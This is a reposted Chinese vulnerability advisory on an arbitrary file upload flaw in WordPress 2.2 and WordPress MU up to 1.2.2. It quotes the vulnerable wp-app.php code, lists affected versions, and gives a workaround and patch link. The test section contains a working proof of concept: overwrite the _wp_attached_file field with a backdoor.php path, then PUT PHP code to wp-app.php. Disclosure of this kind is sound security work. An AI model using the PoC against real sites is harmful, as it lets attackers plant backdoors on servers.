作家
登录

WordPress自定义字段任意文件上传漏洞

作者: 来源: 2012-06-12 22:54:37 阅读 我要评论

发布日期:2007-06-26
更新日期:2007-06-27

受影响系统:
WordPress WordPress 2.2
WordPress WordPress MU <= 1.2.2
不受影响系统:
WordPress WordPress 2.2.1
WordPress WordPress MU 1.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 24642

WordPress是一款免费的论坛Blog系统。

WordPress处理用户提交的数据时存在漏洞,远程攻击者可能利用此漏洞非授权操作文件。

WordPress允许上传有限的文件附件组,其中名称、标题等以post_type=attachment存储到了wp_posts表中,而路径和其他文件属性以名为_wp_attached_file和_wp_attachment_metadata的特殊字段被存储到了wp_postmeta表中。

WordPress还允许在正常的张贴或页面中添加自定义字段,该自定义字段也被存储到了wp_postmeta表中,但没有检查正常的张贴中是否添加了附件的这个特殊的meta-data字段。

wp-app.php中的以下函数允许上传任意文件:

function put_file($postID) {

$type = $this->get_accepted_content_type();

// first check if user can upload
if(!current_user_can('upload_files'))
$this->auth_required(__('You do not have permission to upload files.'));

// check for not found
global $entry;
$this->set_current_entry($postID);

// then whether user can edit the specific post
if(!current_user_can('edit_post', $postID)) {
$this->auth_required(__('Sorry, you do not have the right to edit this post.'));
}

$location = get_post_meta($entry['ID'], '_wp_attached_file', true);

if(!isset($location))
$this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

$fp = fopen("php://input", "rb");
$localfp = fopen($location, "w+");
while(!feof($fp)) {
fwrite($localfp,fread($fp, 4096));
}
fclose($fp);
fclose($localfp);

log_app('function',"put_file($postID)");
$this->ok();
}

这个函数主要用于加载第一个附件的路径,并写入张贴到wp-app.php的内容,因此如果攻击者能够用合适的文件名覆盖第一个元数据附件的值,就会向该文件写入所有的内容。

<*来源:Alexander Concha (alex@buayacorp.com)

链接:http://secunia.com/advisories/25794/
http://www.buayacorp.com/files/wordpress/wordpress-advisory.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

创建一个帖子并将以下值添加或覆盖到自定义字段:

key     : _wp_attached_file
value     : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php

向wp-app.php发送PUT请求,传送上一步的post_ID值:

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

建议:
--------------------------------------------------------------------------------
临时解决方法:

* 禁止访问wp-app.php或app.php。

厂商补丁:

WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://trac.mu.wordpress.org/changeset/1005
【绿盟授权51CTO.COM 独家报道,未经书面许可不得转载!】


  推荐阅读

  Symantec邮件安全软件包可执行程序附件解析拒绝服务漏洞

发布日期:2007-06-26 更新日期:2007-06-27受影响系统: Symantec Mail Security for SMTP 5.0.1 Symantec Mail Security for SMTP 5.0 Symantec Mail Security Appliance 5.0.x < 5.0.0-36 不受影响系统: S>>>详细阅读


本文标题:WordPress自定义字段任意文件上传漏洞

地址:http://www.17bianji.com/anquan/buding/2734.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)